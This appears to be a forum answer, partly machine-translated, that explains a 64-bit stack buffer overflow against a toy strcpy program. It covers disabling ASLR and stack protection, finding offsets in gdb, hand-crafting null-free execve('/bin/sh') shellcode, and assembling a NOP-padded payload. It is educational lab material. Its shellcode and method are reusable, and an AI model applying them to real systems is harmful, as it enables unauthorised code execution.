First make sure you change randomize_va_space. On Ubuntu, you would run the following command: root echo 0 > /proc/sys/kernel/randomize_va_space
Then, make sure that you compile the test program without stack break protection and set the memory execution bit. Compile it with the following gcc options to execute -fno-stack-protector -z execstack
I also found that I needed more space for the actual execution of the shell, so I would change your buffer to something more than the buffer [64]
Then you can run the application in gdb and get the stack address you need to return to
First set a breakpoint right after strcpy
(gdb) disassemble main Dump of assembler code for function main: 0x000000000040057c <+0>: push %rbp 0x000000000040057d <+1>: mov %rsp,%rbp 0x0000000000400580 <+4>: sub $0x50,%rsp 0x0000000000400584 <+8>: mov %edi,-0x44(%rbp) 0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp) 0x000000000040058b <+15>: mov -0x50(%rbp),%rax 0x000000000040058f <+19>: add $0x8,%rax 0x0000000000400593 <+23>: mov (%rax),%rdx 0x0000000000400596 <+26>: lea -0x40(%rbp),%rax 0x000000000040059a <+30>: mov %rdx,%rsi 0x000000000040059d <+33>: mov %rax,%rdi 0x00000000004005a0 <+36>: callq 0x400450 < strcpy@plt > 0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax 0x00000000004005a9 <+45>: mov %rax,%rsi 0x00000000004005ac <+48>: mov $0x400674,%edi 0x00000000004005b1 <+53>: mov $0x0,%eax 0x00000000004005b6 <+58>: callq 0x400460 < printf@plt > 0x00000000004005bb <+63>: mov $0x0,%eax 0x00000000004005c0 <+68>: leaveq 0x00000000004005c1 <+69>: retq End of assembler dump. (gdb) b *0x4005a5 Breakpoint 1 at 0x4005a5
Then run the application and at the breakpoint, take the address of the register rax.
(gdb) run `python -c 'print "A"*128';` Starting program: APPPATH/APPNAME `python -c 'print "A"*128';` Breakpoint 1, 0x00000000004005a5 in main () (gdb) info register rax 0x7fffffffe030 140737488347136 rbx 0x0 0 rcx 0x4141414141414141 4702111234474983745 rdx 0x41 65 rsi 0x7fffffffe490 140737488348304 rdi 0x7fffffffe077 140737488347255 rbp 0x7fffffffe040 0x7fffffffe040 rsp 0x7fffffffdff0 0x7fffffffdff0 r8 0x7ffff7dd4e80 140737351863936 r9 0x7ffff7de9d60 140737351949664 r10 0x7fffffffdd90 140737488346512 r11 0x7ffff7b8fd60 140737349483872 r12 0x400490 4195472 r13 0x7fffffffe120 140737488347424 r14 0x0 0 r15 0x0 0 rip 0x4005a5 0x4005a5 <main+41> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb)
Next, determine the size of your maximum buffer. I know that a buffer of 64 crashes at 72 bytes, so I will just move on from that. You could use something like metasploits template methods to give you this or just figure it out from the trial version and errors when starting the application to find out the exact byte count before you get segfault or compose your own template and match the rip address like with the metasploit parameter.
Further, there are many different ways to get the payload, but since we are running the 64-bit application, we will use the 64-bit payload. I compiled C and then grabbed ASM from gdb and then made some changes to remove the \ x00 characters, changing the mov instructions to xor for null values, and then shl and shr to remove them from the shell command. We will show this later, but at the moment the payload is as follows.
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
our payload is 48 bytes, so we have 72 - 48 = 24
We can place the payload with \ x90 (nop) so that the command does not break. I will add 2 at the end of the payload and 22 at the beginning. I will also refer to the return address that we want to end in the opposite direction to give the following.
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
Now, if you want to run it outside of gdb, you may have to give in to the return address. In my case, the address becomes \ x70 \ xe0 \ xff \ xff \ xff \ x7f outside of gdb. I just increased it until it worked, going to 40, then 50, then 60, then 70.
application test source
#include <stdio.h> #include <string.h> int main(int argc, char **argv) { char name[64]; strcpy(name, argv[1]); printf("Arg[1] is :%s\n", name); return 0; }
This is the payload in C
#include <stdlib.h> int main() { execve("/bin/sh", NULL, NULL); }
And the payload in ASM, which will create and run
int main() { __asm__( "mov $0x0,%rdx\n\t" // arg 3 = NULL "mov $0x0,%rsi\n\t" // arg 2 = NULL "mov $0x0068732f6e69622f,%rdi\n\t" "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh "mov $0x3b,%rax\n\t" // syscall number = 59 "syscall\n\t" ); }
And since we cannot use \ x00, we can change the values โโto xor and do some weird offsets to remove the bad mov values โโfor setting / bin / sh
int main() { __asm__( "xor %rdx,%rdx\n\t" // arg 3 = NULL "mov %rdx,%rsi\n\t" // arg 2 = NULL "mov $0x1168732f6e69622f,%rdi\n\t" "shl $0x8,%rdi\n\t" "shr $0x8,%rdi\n\t" // first byte = 0 (8 bits) "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh "mov $0x111111111111113b,%rax\n\t" // syscall number = 59 "shl $0x38,%rax\n\t" "shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits) "syscall\n\t" ); }
if you compile this payload, run it under gdb, you can get the byte values โโyou need, for example
(gdb) x/bx main+4 0x400478 <main+4>: 0x48 (gdb) 0x400479 <main+5>: 0x31 (gdb) 0x40047a <main+6>: 0xd2 (gdb)
or get everything by doing something like
(gdb) x/48bx main+4 0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf 0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11 0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08 0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11 0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1 0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05